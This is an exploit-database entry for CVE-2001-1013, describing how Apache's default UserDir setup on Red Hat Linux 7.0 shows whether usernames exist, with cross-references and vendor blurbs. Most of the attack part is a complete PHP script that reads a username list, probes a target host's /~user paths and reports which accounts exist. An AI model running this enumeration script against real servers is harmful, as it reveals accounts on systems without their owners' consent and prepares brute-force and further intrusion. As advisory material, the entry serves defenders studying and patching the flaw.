RedHat Linux 7.0 Apache - Remote Username Enumeration
| Reporter | Title | Published | Views | Family All 17 |
|---|---|---|---|---|
| Apache UserDir Directive Username Enumeration | 18 Sep 200100:00 | – | nessus | |
| CVE-2001-1013 | 29 May 201815:50 | – | circl | |
| CVE-2001-1013 | 2 Feb 200205:00 | – | cve | |
| CVE-2001-1013 | 2 Feb 200205:00 | – | cvelist | |
| Apache "mod_userdir" User Enumeration | 15 Aug 201105:56 | – | metasploit | |
| http-userdir-enum NSE Script | 22 Aug 200922:04 | – | nmap | |
| CVE-2001-1013 | 12 Sep 200104:00 | – | nvd | |
| Nmap NSE net: http-userdir-enum | 1 Jun 201100:00 | – | openvas | |
| Nmap NSE net: http-vmware-path-vuln | 1 Jun 201100:00 | – | openvas | |
| Apache UserDir Sensitive Information Disclosure | 3 Nov 200500:00 | – | openvas |
10
source: https://www.securityfocus.com/bid/3335/info
Versions of Apache webserver shipping with Red Hat Linux 7.0 (and possibly other Apache distributions) install with a default misconfiguration which could allow remote users to determine whether a give username exists on the vulnerable system.
http://www.example.com/~<username>
When a remote user makes a request for a possible user's default home page, the server returns one of three responses:
In a case where <username> is a valid user account, and has been configured with a homepage, the server responds with the user's homepage.
When <username> exists on the system, but has not been assigned a homepage document, the server returns the message "You don't have permission to access /~username on this server."
However, if the tested username does not exist as an account on the system, the Apache server's response includes the message "The requested URL /~username was not found on this server."
Because the server responds differently in the latter two cases, a remote user can test and enumerate possible usernames. Properly exploited, this information could be used in further attacks on the vulnerable hos
#!/usr/local/bin/php -q
<?
/*
default misconfiguration which could allow remote users
to determine whether a give username exists on the vulnerable system.
By Gabriel A Maggiotti
*/
if( $argc!=4)
{
echo "usagge: $argv[0] <host> <userlist> <delay>\n";
return 1;
}
$host=$argv[1];
$userlist=$argv[2];
$fd = fopen ($userlist, "r");
while (!feof ($fd)) {
$user = fgets($fd, 4096);
$fp = fsockopen ($host, 80 , &$errno, &$errstr, 30);
fputs ($fp, "GET /~$user HTTP/1.0\r\n\r\n");
while (!feof ($fp)) {
$sniff=fgets($fp,1024);
if(strpos($sniff,"permission")!="") {
echo "$user exists!!!\n";
break;
}
}
fclose ($fp);
sleep(3);
}
fclose ($fd);
?>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
06 Sep 2012 00:00Current
7.2High risk
Vulners AI Score7.2
CVSS 25
EPSS0.65563